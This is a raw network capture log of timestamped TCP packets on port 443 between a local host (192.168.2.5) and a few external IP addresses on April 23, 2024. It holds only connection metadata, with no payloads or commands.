Apr 23, 2024 21:53:20.167473078 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.167493105 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.168965101 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.169044971 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.172950983 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.173108101 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.174235106 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.174253941 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.214385033 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.449979067 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.450587034 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.450642109 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.460596085 CEST	49714	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.460617065 CEST	443	49714	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.749705076 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.749761105 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:20.749919891 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.751085997 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:20.751101971 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.021747112 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 23, 2024 21:53:21.021889925 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 23, 2024 21:53:21.079297066 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.079705954 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.079732895 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.081229925 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.081322908 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.084194899 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.084328890 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.084933996 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.084943056 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.134412050 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.390368938 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390403986 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390415907 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390455008 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390487909 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390520096 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.390544891 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390554905 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390579939 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.390584946 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390594959 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.390651941 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.390671015 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.494667053 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494703054 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494756937 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.494765997 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494779110 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494808912 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494853020 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.494862080 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.494888067 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.494925976 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.533755064 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.533790112 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.533833981 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.533843040 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.533917904 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.596765041 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:21.596801043 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:21.596884012 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:21.598752975 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:21.598768950 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:21.599028111 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599059105 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599092007 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.599100113 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599149942 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.599658012 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599678040 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599714994 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.599720955 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.599760056 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.599785089 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600089073 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600122929 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600152969 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600157976 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600202084 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600224972 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600549936 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600569010 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600614071 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600619078 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600667000 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.600976944 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.600996017 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.601049900 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.601054907 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.601092100 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.601116896 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.638304949 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638329983 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638387918 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.638394117 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638463020 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.638751984 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638772964 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638813019 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.638818979 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.638853073 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.638890028 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.703634024 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.703655958 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.703700066 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.703707933 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.703758001 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.705827951 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.705849886 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.705893993 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.705900908 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.705959082 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706187010 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706206083 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706263065 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706269026 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706305027 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706340075 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706518888 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706540108 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706584930 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706590891 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706649065 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706649065 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706856966 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706876993 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.706957102 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706957102 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.706964016 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707006931 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707180023 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707199097 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707237959 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707245111 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707304001 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707544088 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707564116 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707601070 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707606077 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707642078 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707655907 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707665920 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707672119 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707714081 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707736969 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707772017 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707776070 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.707807064 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.707844973 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708348989 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708369017 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708408117 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708414078 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708447933 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708467007 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708472967 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708491087 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.708502054 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708529949 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708564997 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.708971977 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.743666887 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.743689060 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.743738890 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.743745089 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.743813992 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744070053 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744091034 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744134903 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744142056 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744206905 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744226933 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744513988 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744534016 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744571924 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744576931 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744617939 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744906902 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744926929 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.744962931 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.744968891 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.745003939 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.745023966 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.810646057 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810668945 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810719013 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.810725927 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810791016 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.810832977 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810856104 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810889959 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.810895920 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.810941935 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.810966015 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813293934 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813314915 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813371897 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813378096 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813427925 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813436985 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813442945 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813482046 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813500881 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813538074 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813564062 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813569069 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813587904 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813616037 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813621998 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813652039 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813687086 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813703060 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813724041 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813756943 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813761950 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813782930 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813817978 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813888073 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813908100 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.813971996 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.813977957 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814021111 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814022064 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814034939 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814064980 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814076900 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814083099 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814125061 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814189911 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814209938 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814244986 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814250946 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814271927 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814296961 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814353943 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814373970 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814409018 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814414978 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814446926 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814466000 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814485073 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814506054 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814543009 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814549923 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814583063 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814604998 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814675093 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814694881 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814732075 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814737082 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814770937 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814776897 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814795017 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814807892 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814824104 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814841032 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814893007 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814929008 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814949036 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.814985037 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.814990044 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815017939 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815042019 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815177917 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815196037 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815239906 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815244913 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815290928 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815294981 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815315008 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815321922 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815334082 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815356970 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815399885 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815426111 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815448999 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815485954 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815491915 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815502882 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815519094 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815543890 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815548897 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815572023 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815599918 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.815646887 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.815668106 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.839993954 CEST	49715	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.840003967 CEST	443	49715	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.858397007 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:21.858479977 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:21.939790964 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:21.939835072 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:21.940884113 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:21.954302073 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.954340935 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.954410076 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.955244064 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.955271959 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.955338001 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.955641985 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.955657959 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.963711023 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:21.963725090 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:21.980417967 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.000600100 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.000638008 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.000708103 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.001080036 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.001096010 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.237296104 CEST	49716	443	192.168.2.5	23.46.214.6
Apr 23, 2024 21:53:22.275994062 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.280148983 CEST	443	49716	23.46.214.6	192.168.2.5
Apr 23, 2024 21:53:22.289113998 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.289172888 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.289772987 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.292402029 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.292503119 CEST	443	49717	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.292840004 CEST	49717	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.293159008 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.293473005 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.293533087 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.296977997 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.297056913 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.297777891 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.297868967 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.298312902 CEST	49718	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.298331022 CEST	443	49718	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.325689077 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.334764004 CEST	49719	443	192.168.2.5	13.107.246.41
Apr 23, 2024 21:53:22.334785938 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.336041927 CEST	443	49719	13.107.246.41	192.168.2.5
Apr 23, 2024 21:53:22.336949110 CEST	49719	443	192.168.2.5	13.107.246.41
